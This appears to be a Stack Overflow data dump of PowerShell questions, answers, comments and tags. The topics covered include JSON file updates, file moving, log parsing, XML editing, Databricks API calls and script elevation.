comment on: http://stackoverflow.com/q/79291349

http://stackoverflow.com/q/79340316
type: Question
has body: I have a json file with 3 blocks, one block per environment so dev preprod and prod. I have a script which creates some azure resources like app reg and security groups and when the script finishes it logs it to the json file and in the according environment. If I run the script for dev it will populate the dev block on the json. If I THEN run the script for preprod it will populate the preprod block in the json but will make the dev block null because it's overwritten like the full file I would like it to leave the other blocks and only affect the block I am updating. Here is my code. if ($environment -eq "Development") { $devBlock = @{ "Project" = $projectName "tenant" = $tenantName "AppRegId" = $spdetails.appId "ProjectId" = $projectSubId "projectsubname" = $projectSubName "Date" = $date "Username" = $actor "RoGroup" = $RoGroupid.id "FcGroup" = $FcGroupid.id "environment" = $environment } } elseif ($environment -eq "PreProduction") { $preprodBlock = @{ "Project" = $projectName "tenant" = $tenantName "AppRegId" = $spdetails.appId "ProjectId" = $projectSubId "projectsubname" = $projectSubName "Date" = $date "Username" = $actor "RoGroup" = $RoGroupid.id "FcGroup" = $FcGroupid.id "environment" = $environment } } else { $prodBlock = @{ "Project" = $projectName "tenant" = $tenantName "AppRegId" = $spdetails.appId "ProjectId" = $projectSubId "projectsubname" = $projectSubName "Date" = $date "Username" = $actor "RoGroup" = $RoGroupid.id "FcGroup" = $FcGroupid.id "environment" = $environment } } $data = @{ "dev" = $devBlock "preprod" = $preprodBlock "prod" = $prodBlock } # Convert the hashtable to a JSON string $json = $data | ConvertTo-Json -Depth 10 # Define the path for the JSON file $jsonFilePath = $projectName + ".json" # Write the JSON string to the file $json | Out-File -FilePath $jsonFilePath -Encoding utf8 Write-Output "JSON file created at $jsonFilePath" Haven't tried anything yet can't think of anything.
tagged with: overwrite
has answer: http://stackoverflow.com/a/79345489
tagged with: http://stackoverflow.com/tag/json
tagged with: logic
answer count: 1
has comment: http://stackoverflow.com/comment/139911118
has title: How to stop powershell out-file from overwriting untouched json block
tagged with: powershell
type: UnansweredQuestion
score: 0

http://stackoverflow.com/comment/139942581
type: QuestionComment
type: Comment
score: 1
has text: @jdweng, we're talking about `git diff` here, not `diff`. Please consider removing your comments, as they are a confusing distraction.
comment on: http://stackoverflow.com/q/79354709

http://stackoverflow.com/tag/pdf
tags question: http://stackoverflow.com/q/79363438
type: Tag
tags question: http://stackoverflow.com/q/79382926
tag name: pdf

http://stackoverflow.com/comment/139742709
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79247316
has text: Please show us the code you have already tried yourself. Explain what happened and if you have error messages, show these in full as well. Also provide a sample of the csv file you mention. Do this by [editing your post](https://stackoverflow.com/posts/79247316/edit) and add it as formatted text, not as a comment.
score: 1

http://stackoverflow.com/comment/139775226
has text: 1. Which instructions did you follow? 2. It's being blocked by a conditional access policy.
comment on: http://stackoverflow.com/q/79264968
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139878071
score: 0
has text: @HerPat, `'/features + /q /norestart'` is a _single_, verbatim string argument, which `Start-Process` copies as-is to the process command line. That it does so is - unfortunately - precisely the reason why passing arguments _individually_, `,`-separated, is usually not worth it - see [this answer](https://stackoverflow.com/a/62784608/45375).
comment on: http://stackoverflow.com/q/79318657
type: QuestionComment
type: Comment

apim
tag name: apim
type: Tag
tags question: http://stackoverflow.com/q/79292665

http://stackoverflow.com/comment/139988836
type: Comment
has text: I think you have different type object. To get the object type use something like : Write-Host $a.Gettype()
score: 0
comment on: http://stackoverflow.com/q/79380511
type: QuestionComment

http://stackoverflow.com/comment/139799483
type: QuestionComment
type: Comment
has text: Paul π: I've added a last clarification that is somewhat obscure on how you could make casting work for multiple overloads however I'm honestly not sure if that could work in PowerShell 4.
score: 0
comment on: http://stackoverflow.com/q/79276698

dll
tag name: dll
type: Tag
tags question: http://stackoverflow.com/q/79279210

http://stackoverflow.com/a/79383590
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139996703
type: Answer
answers question: http://stackoverflow.com/q/79382926
has body: Granted the unique IDs are truly unique and won't match with anything else in other folder names I think this should do. Try this with a test batch first though :) This will take the first 8 characters of your input filename and find a folder that has a name containing the unique ID (Not folders explicitly ending in the unique ID though - I am too lazy to find the regex right now to be 100% precise, sorry) $FilesToMove = 'C:\F\2024 Detailed Letters' $TargetPath = 'C:\F\Individual Folders' $Files = Get-ChildItem -Path $FilesToMove -File $DestinationFolders = Get-ChildItem -Path $TargetPath -Directory foreach ($File in $Files) { $DestinationFolderPath = $null foreach($Folder in $DestinationFolders){ if($Folder.Name -match "$(($File.Basename).Substring(0,8))"){ $DestinationFolderPath = $Folder.FullName } } if($DestinationFolderPath){ Write-Output "Moving File $($File.Name) to $DestinationFolderPath" Move-Item -Path $File.FullName -Destination $DestinationFolderPath }else{ Write-Host "Could not find destination folder for $($File.Name)" } } Looks like you were on the right track. I'm only just now figuring out how the filters work. For speed it is better to separate out the Get-ChildItem for the destination folders and then work with that object rather than re-run that command for each file you are processing. Then it doesn't have to scan thousands of folders each time. Hope this helps :) cheers
accepted answer of: http://stackoverflow.com/q/79382926
has comment: http://stackoverflow.com/comment/139998598
score: 0

http://stackoverflow.com/comment/139788690
has text: Wouldnt it be easier with ``Expand-Archive E:\TEMP\folder\LatestFiles_20241130031004.zip E:\TEMP\folder\`` ?
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79273085

http://stackoverflow.com/comment/140064888
comment on: http://stackoverflow.com/q/79416722
type: QuestionComment
type: Comment
score: 0
has text: No. I said OP can log in but the repository has different permission than the login account.

http://stackoverflow.com/a/79262659
score: 0
answers question: http://stackoverflow.com/q/79262231
accepted answer of: http://stackoverflow.com/q/79262231
has body: IF your question is about doing something with each line in a text file and afterwards empty that file, you can do: $filePath = 'D:\SomeFolder\documents.txt' foreach ($line in (Get-Content -Path $filePath )) { # here you process the line # ... code ... } # you have processed all lines, so empty the original file Clear-Content -Path $filePath IF however you mean to do something with each line that matches a condition and keep the rest, do: $filePath = 'D:\SomeFolder\documents.txt' $newContent = foreach ($line in (Get-Content -Path $filePath )) { # here you process the line # dummy code: if ($line -like '*anything*') { # do what you need to do with that line # don't output this line because you're finished with processing it } else { $line } # output the original line } # now you have an array of lines you did not process and the rest is gone. Save the new lines $newContent | Set-Content -Path $filePath These are just examples. If you can tell us more about the documents.txt file (is it huge or small) and what you are intending to do with the 'processing', there are lots of different other ways of dealing with this.
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/139886130
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79326188
has text: For the powershell option, e.g., New-MgApplication, I need to install beta software from Microsoft :/ I would not prefer to have that in my pipelines. This is meant as part of a developer script for local development, but also for pipelines. Or have I misunderstood something that it is not marked as beta?

http://stackoverflow.com/comment/139760906
has text: Inside a form's event handler like `Add_Click()`, the `$_` automatic variable is the `EventArgs` object, and not the printer you are iterating. To get access to the iterated printer name, you could store it in the buttons own `.Tag` property with `$button.Tag = $_.Name` and inside the Add_Click({..}) use `$this.Tag` instead of `$_.Name`. See [this answer](https://stackoverflow.com/a/51130615/9898643) where `$this` and `$_` inside windows forms eventhandlers are explained
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79256387
score: 0

http://stackoverflow.com/a/79268255
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/79258847
accepted answer of: http://stackoverflow.com/q/79258847
score: 0
has body: After some tests, it looks like the problem happens with the PowerShell version installed in the mcr.microsoft.com/dotnet/sdk:8.0.404 image (and all the other dotnet 8 images that I tested). The exact PowerShell version is 7.4.6. I'm not sure if the problem happens because of the PowerShell version or the way it's installed in the image, but everything works like expected in dotnet 9 images or when installing PowerShell manually in a Debian bookworm container.

http://stackoverflow.com/comment/139848182
type: AnswerComment
has text: The color might be because the rendering shenanigans of your email client. It's possible it's cutting off the style part of the HTML(check the source of the mail message). The only workaround I know would be putting the CSS in-line in each element as necessary, but clients might just ignore them altogether. I suggest adding the tags for HTML, CSS and EMAIL(or something like that) for better matching answers(it doesn't seems to be a Powershell problem)
comment on: http://stackoverflow.com/a/79293565
type: Comment
score: 0

http://stackoverflow.com/comment/139822166
type: Comment
comment on: http://stackoverflow.com/a/79291392
score: 1
type: AnswerComment
has text: Reading the whole file is not a problem. The first one seems to work great, it finishes near instantly. I do feel a bit confused about the replace, does omitting a replacement value just imply that it's an empty one?

http://stackoverflow.com/comment/140023801
type: Comment
has text: Ah, after downloading SysInternals Suite and using handle.exe, I can see that my answer is nonsense, lol
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79399424

http://stackoverflow.com/a/79268615
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/139787345
has body: Commands of type native, like git, by default don't produce errors in the same way as PowerShell commands. A starting point when learning about the differences could be the documentation of $PSNativeCommandUseErrorActionPreference. So if you want a native command to produce an error that you can catch with a try-catch statement, you can Set $ErrorActionPreference to 'Stop'. Set $PSNativeCommandUseErrorActionPreference to $true. That should be sufficient if you opt out of the built-in shell according to the docs: Users can always opt out by not using the built-in shell, and providing a custom shell option like: pwsh -File {0}, or powershell -Command &quot;&amp; '{0}'&quot;, depending on need. If you stick with the built-in shell, you'll probably have to reset $LASTEXITCODE to 0 in your catch clause, since, according to the same docs: ... action statuses reflect the script's last exit code. ($LASTEXITCODE is set to the value that git describe exits with, which seems to be 1 when no tags exist, resulting in the GitHub Action failing.)
answers question: http://stackoverflow.com/q/79254833
score: 1
upvote count: 1

http://stackoverflow.com/comment/139905418
comment on: http://stackoverflow.com/q/79329816
type: QuestionComment
type: Comment
score: 0
has text: The impression that you're being talked to like you're stupid is of your own creation. There's nothing in my comments to suggest that, and it was certainly not my intention. I posted what I thought were helpful pointers, and couldn't understand your previous response. But because it sounded like you had found a solution already, I encouraged you to post it as an answer. That's the whole story.

http://stackoverflow.com/comment/139808354
comment on: http://stackoverflow.com/q/79278526
has text: Are you still facing the issue. @Vortex
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139843729
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79302651
has text: Yes I'm working on PowerShell 5.1 Maybe my approch is not correct and I should use something else. I made the there was 2 years ago, so it may be updated :)
score: 0

http://stackoverflow.com/comment/139921631
score: 0
comment on: http://stackoverflow.com/a/79340490
type: AnswerComment
has text: @Ooker, it is a script _module_ (its root module is a `.psm1` file). That is, its commands are implemented in PowerShell code, and therefore subject to the script policy (and even though the module is _signed_, that doesn't help with the _default_ execution policy on workstation editions of Windows, `Restricted`). Also note that even modules whose commands are _binary_ implementations (code compiled into .NET assemblies) can be subject to the execution policy, namely if they contain `*.Format.ps1xml` (display-formatting definitions) and/or `*.Types.ps1xml` files (type extensions).
type: Comment

http://stackoverflow.com/comment/139833710
comment on: http://stackoverflow.com/a/79279479
type: Comment
has text: I tried the updated `$env:EDITOR = ...` command with `Replace('\', '/')` and I get the same issue. It opens the pod manifest in Notepad++ but immediately cancels the editing with `Edit cancelled, no changes made.` Windows sucks, I'll accept your answer as answered and we can move on if you don't want to debug more.
score: 0
type: AnswerComment

neo4j
type: Tag
tag name: neo4j
tags question: http://stackoverflow.com/q/79389666

http://stackoverflow.com/comment/139995630
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79377434
type: Comment
has text: Hopefully, my module [PSFRedirect](https://www.powershellgallery.com/packages/PSFRedirect) will be put to good use by those that quickly needs to start logging their existing legacy PowerShell code

http://stackoverflow.com/comment/139899368
comment on: http://stackoverflow.com/q/79334181
type: QuestionComment
has text: @Thomas the error is: "Update-MgApplication_UpdateExpanded: Property requiredResourceAccess.resourceAccess value is required but is empty or missing." But, I checked the variable $resourceAccessOffice365 and it does have 1 permission ready to update.
type: Comment
score: 0

http://stackoverflow.com/a/79425135
answers question: http://stackoverflow.com/q/79406297
type: Answer
downvote count: 0
has body: As commented, this is one of the worst formatted log file I have come across, but nevertheless it is still possible to get the wanted data out of it using the code below. Try: # start by clearing all used variables $sender = $receiver = $cc = $subject = $null $skip = $date = $what = $value = $readon = $null # loop over the file line-by-line and produce ar array of objects in variable $result # using switch is fast and very memory friendly, so also perfect for huge files $result = switch -Regex -File 'C:\path\to\1.log' { '^\s*$' { # skip empty or whitespace-only lines continue # continue onto the next line or exit the switch if there are no more items } '(Thread-Topic|Thread-Index|Date|Message-ID):' { # skip lines for Thread-Topic, Thread-Index, Date, Message-ID $readon = $false continue } '^(\d{4}:\d{2}:\d{2}-\d{2}:\d{2}:\d{2}).+(F From|T To|C CC|Subject):\s(.+)$' { # the lines of interest. Determine if we need to append the next line's data # or if we start a new property for the output if ($readon) { $value = $value -replace '\s{2,}', ' ' # normalize erraneous extra spaces if ($what -eq 'To') { $receiver = ($value -split ',').Trim() -join '; ' } elseif ($what -eq 'From') { $sender = ($value -split ',').Trim() -join '; ' } elseif ($what -eq 'CC') { $cc = ($value -split ',').Trim() -join '; ' } elseif ($what -eq 'Subject') { $subject = $value } } # get the string index for $matches[2] so we can collate the next part (if needed) $skip = $_.IndexOf($matches[2]) - 1 # or use $skip = $_.LastIndexOf(']') + 1 $date = [DateTime]::ParseExact($matches[1], 'yyyy:MM:dd-HH:mm:ss', [CultureInfo]::InvariantCulture) $what = ($matches[2] -split '\s')[-1] # --&gt; From, To, CC or Subject $value = $matches[3] $readon = $true continue } default { # here's where we either append the next line's data to the $value # or if we can start outputting the finished object if ($readon) { $value += (' {0}' -f $_.Substring($skip)) # append next data with a space in between } else { $value = $valu…
score: 1
upvote count: 1

http://stackoverflow.com/comment/140045478
score: 1
has text: No, System.Management.Automation is the assembly that is PowerShell itself, you can't use a different version that the one you have. Downgrading it would mean using an older PowerShell version.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79410420

http://stackoverflow.com/comment/140079458
comment on: http://stackoverflow.com/q/79419763
has text: I disagree with the closure: The question is about a _PowerShell alternative to VBScript-based on-demand elevation_ of batch files (as well as of PowerShell scripts), which is worth spelling out, given VBScript's impending deprecation; _scripted_ on-demand elevation is unequivocally a _specific programming problem_, so the closure reason doesn't apply. Joshua, if there's something missing from the answer, let us know.
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140021424
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79397722
has text: seems like it is possible but will be a big chunk of c# code

importexcel
tags question: http://stackoverflow.com/q/79283348
tag name: importexcel
type: Tag
tags question: http://stackoverflow.com/q/79453082

http://stackoverflow.com/comment/139786088
type: QuestionComment
comment on: http://stackoverflow.com/q/79271171
type: Comment
has text: It's a strange property of powershell that if you name something that does not exist, it will often invent such an object, and give it a null value. This can make it hard to trace wrong spellings.
score: 0

http://stackoverflow.com/a/79266583
answers question: http://stackoverflow.com/q/79262609
score: 2
upvote count: 2
type: Answer
has body: Does this imply that all objects in PowerShell are of type [psobject]? No. PowerShell makes its intrisic members available on instances of any an all .NET types - although, perhaps confusingly, the intrinsic property that provides access to rich reflection capabilities, is named .psobject When does PowerShell implicitly convert an object into [psobject]? Note: Objects are never converted to [psobject], they are wrapped by instances of the latter. When binary cmdlets produce (success) output, using the .WriteObject() method, each output object is invariably [psobject]-wrapped. This does not apply per se to PowerShell code, i.e., not necessarily to PowerShell scripts and functions, both simple and advanced ones: Expression output (e.g., 1 + 2), including method calls (e.g. [datetime]::Parse('1/1')), as well as such output relayed from other scripts / function is not [psobject]-wrapped. By contrast, any script / function output that comes from binary cmdlets (those implemented as precompiled .NET assemblies, typically in C#) is again [psobject]-wrapped, which notably includes use of the - rarely needed - Write-Output cmdlet. On the input side, an "untyped" ([object]-typed) parameter that is designed to also / primarily bind its value from pipeline input as whole objects (so-called by-value pipeline binding, via the ValueFromPipeline parameter -attribute property), receives [psobject]-wrapped input objects when the parameter is indeed bound via pipeline input in a given invocation, as opposed to binding by argument[1] (which isn't usually done for such parameters).[2] This applies to both binary cmdlets and PowerShell code (i.e. also to by definition then advanced scripts / functions). It is perhaps for this reason that the vast majority of built-in cmdlets that have an -InputObject parameter, whose primary purpose is to facilitate by-whole-object pipeline binding, use [psobject] rather than [object] for "untyped" input; a notable exception is ConvertTo-Json. In (non-ad…
downvote count: 0

http://stackoverflow.com/comment/139930334
score: 0
comment on: http://stackoverflow.com/q/79349700
has text: And it still fails?
type: QuestionComment
type: Comment

diff
tags question: http://stackoverflow.com/q/79354709
type: Tag
tag name: diff
tags question: http://stackoverflow.com/q/79246610

http://stackoverflow.com/a/79271180
score: 0
has body: I have found a solution that works for me. My java application runs under user A which has no admin rights. From java I start a new power shell process. I use -Credentials argument to run the power shell script as user B which has admin rights. In the power shell script I check first if the script is executed with elevated privileges. Since this is never the case I restart the script with elevated privileges (-Verb "runas"). Then the script runs under user B with elevated privileges. These are my problems and how i solved them. If someone knows better solutions please let me know. Starting a powershell script from java (running under user A) with elevated privileges is not possible -> Start a power shell with normal privileges but as user B and then restart the script with elevated privileges. Returning values from a powershell script with elevated privileges to its caller (power shell script with non elevated privileges) is not possible. stdout is not avaiable -> I used a logfile to geht the return values. Starting a power shell script with elevated privileges is only possible when the user accepts the UAC concent prompt. Bypassing the UAC concent prompt is not possible. -> I accept this. So far I have not found a solution for this. Changing the notification level is no option for me. # This example can be used to execute powershell commands with elevated privileges param ( [string]$logFile, # The logfile is used for logging and returning to the calling process [string]$ip ) # Get the current user $currentActiveUser = whoami # Get the complete path to this power shell file $currentScriptPath = $MyInvocation.MyCommand.Definition # Get the ID and security principal of the current user account $myWindowsID=[System.Security.Principal.WindowsIdentity]::GetCurrent() $myWindowsPrincipal=new-object System.Security.Principal.WindowsPrincipal($myWindowsID) # Get the security principal for the Administrator role $adminRole=[System.Security.Principal.WindowsBuiltInRole]::Admin…
answers question: http://stackoverflow.com/q/79255391
type: Answer

http://stackoverflow.com/comment/139837688
type: QuestionComment
type: Comment
has text: Your question still shows that you are copying from `D:/UploadLogs/Logs` to `D:/Logs` - Additionally, your use of forward slashes instead of back slashes could be causing some of your issues. Check the initial summary when running robocopy and verify the parameters it's being run with are actually what you want
comment on: http://stackoverflow.com/q/79290410
score: 0

http://stackoverflow.com/comment/140011168
score: 0
has text: Please provide enough code so others can better understand or reproduce the problem.
comment on: http://stackoverflow.com/q/79391387
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139799468
has text: Aha, yes, I thought you said it was running as administrator, but that's def the most common issue. Glad you got it rolling.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79276781
score: 0

http://stackoverflow.com/a/79312054
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79303120
has body: You can't really "rename" an XML node, but you can replace it with a new node that has the correct new tag name and all the same attributes and child nodes, like so: [xml]$xml = Get-Content 'Cob.Vessel.Wages.Database.sqlproj' $selection = $xml.SelectNodes('//Project/ItemGroup/None') foreach ($noneNode in $selection) { # create a new `<Build />` node $buildNode = $xml.CreateElement('Build') # copy attributes to new node from existing foreach ($attribute in $noneNode.Attributes) { [void]$buildNode.SetAttributeNode($attribute) } # copy child nodes to new node from existing foreach ($child in $noneNode.ChildNodes){ [void]$buildNode.AppendChild($child) } # replace existing node with new node [void]$noneNode.ParentNode.ReplaceChild($noneNode, $buildNode) } # write back to disk $xml.Save((Resolve-Path 'Cob.Vessel.Wages.Database_modified.sqlproj'))

http://stackoverflow.com/comment/139997034
score: 0
type: QuestionComment
has text: @Theo That isn't an ini file. I realise it looks like one. It needs to be parsed by Powershell, and not used by Windows.
comment on: http://stackoverflow.com/q/79385377
type: Comment

http://stackoverflow.com/comment/139746488
has text: I already did here: https://stackoverflow.com/a/79245560/15339544
type: Comment
comment on: http://stackoverflow.com/a/79248980
score: 0
type: AnswerComment

http://stackoverflow.com/a/79336437
has body: Mathias' helpful answer explains the problem well and offers an effective solution. Worth nothing that directly piping to Rename-Item with a script block ({ ... }) passed to -NewName is an instance of a delay-bind script block. To add to it with a performance improvement: In order to recursively find all extension-less files, you can replace: Get-ChildItem -Recurse -File | ? {$_.extension -eq ''} with: Get-ChildItem -Recurse -File -Filter *. which performs much better, because filtering happens at the source (low-level file-system APIs) rather than after the fact via Where-Object (whose built-in aliases are ? and where). Note: *. to match only extension-less files relies on legacy quirks of the -Filter argument. The -Filter wildcard syntax is not the same as PowerShell's wildcard expressions; notably, *. would not work with Get-ChildItem's -Include / -Exclude parameters, which support only PowerShell wildcards. While helpful in this case, the inconsistencies of the wildcard syntax supported by -Filter are potential pitfalls; notably, -Filter *.* does not limit matches to files with an extension; it matches all files, and is effectively redundant. By contrast, in PowerShell's wildcard syntax, *.* sensibly does match only files with an extension, but there are caveats: The use of -Include and -Exclude comes with its own pitfalls - see the bottom section of this answer. Because, like with the Where-Object approach, filtering is performed after the fact (all files are enumerated and then filtered), it is much slower than -Filter use. The bottom line with respect to filtering with Get-ChildItem: Use -Filter for best performance, but beware its quirks, see this answer for an overview. Use -Include if you need to support multiple patterns and/or quirk-free syntax and/or extended features, namely the use of [...] for character sets and ranges, but beware the counterintuitive behavior when -Recurse is not used - see the bottom section of this answer. Use Where-Object for pos…
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79336099

http://stackoverflow.com/comment/139799958
type: QuestionComment
comment on: http://stackoverflow.com/q/79277716
type: Comment
has text: Are you asking how to detect that a site is listening on TCP443 but is not actually using HTTPS? This would be very unusual, so perhaps I'm misunderstanding the request.
score: 0

http://stackoverflow.com/comment/139777507
has text: This is a bit obscure and also inefficient. If you want a solution based on statically extracted _substrings, use `$pos = $string.Length-4; $string.Substring(0, $pos) + '-' + $string.Substring($pos)`
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/79263438
type: Comment

http://stackoverflow.com/comment/139901683
score: 0
has text: Sure @Manuelarte
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79335299

http://stackoverflow.com/q/79251748
has title: Databricks API - can't list content of workspace
tagged with: databricks
tagged with: azure-databricks
type: Question
accepted answer: http://stackoverflow.com/a/79253567
answer count: 1
has answer: http://stackoverflow.com/a/79253567
has comment: http://stackoverflow.com/comment/139751363
tagged with: powershell
has comment: http://stackoverflow.com/comment/139751365
type: AnsweredQuestion
has body: Im trying to list the content under my user using databricks API. Below is my code `if (-not (Get-PackageProvider -ListAvailable -Name NuGet)) { Install-PackageProvider nuget -Scope CurrentUser -Force } if (-not (Get-Module -ListAvailable -Name azure.databricks.cicd.tools)) { Install-Module -Name azure.databricks.cicd.tools -Scope CurrentUser -Force } Import-Module -Name azure.databricks.cicd.tools Function Format-BearerToken ($BearerToken) { Return "Bearer $BearerToken" } try { # Attempt to connect to Databricks Connect-Databricks -BearerToken $ADB_Token -Region $region # List the content of the user folder # Assuming the user folder is "/Users/your.username" - replace with your actual user path $userFolderPath = "/Users/mysuer@email.com/" # Replace with your actual Databricks user folder path # Create the body as a hashtable (note the difference in creating a hashtable) $body = @{ path = $userFolderPath } # Debug: Check the Body that will be sent $BodyText = $body | ConvertTo-Json -Depth 10 Write-Output "Request Body: $BodyText" # Test the connection by making an API call to list the workspace contents in your user folder $workspaceContent = Invoke-DatabricksAPI -BearerToken $ADB_Token -Region $region ` -Method GET -API "workspace/list" -Body $BodyText # Output the content $workspaceContent } catch { Write-Error "An error occurred: $_" }` my output of path parameter looks like this Request Body: { "path": "/Users/mysuer@email.com/" } But I get the error An error occurred: Cannot process argument transformation on parameter 'Body'. Cannot convert the value of type "{"path": "/Users/mysuer@email.com/"} "System.String" to type "System.Collections.Hashtable". I have also tried without $BodyText = $body | ConvertTo-Json -Depth 10 and in that case I get the erro code 404 - 404 RESOURCE_DOES_NOT_EXIST Operation was performed on a resource that does not exist. My user name is correct and I do have test.py file under it. I have two question: how can I list content? 2)Since…
score: 0

http://stackoverflow.com/a/79298841
upvote count: 1
answers question: http://stackoverflow.com/q/79264325
score: 1
accepted answer of: http://stackoverflow.com/q/79264325
type: AcceptedAnswer
type: Answer
downvote count: 0
has body: It's probably because you have "workbench.panel.opensMaximized": "always", in your settings. Just delete that line.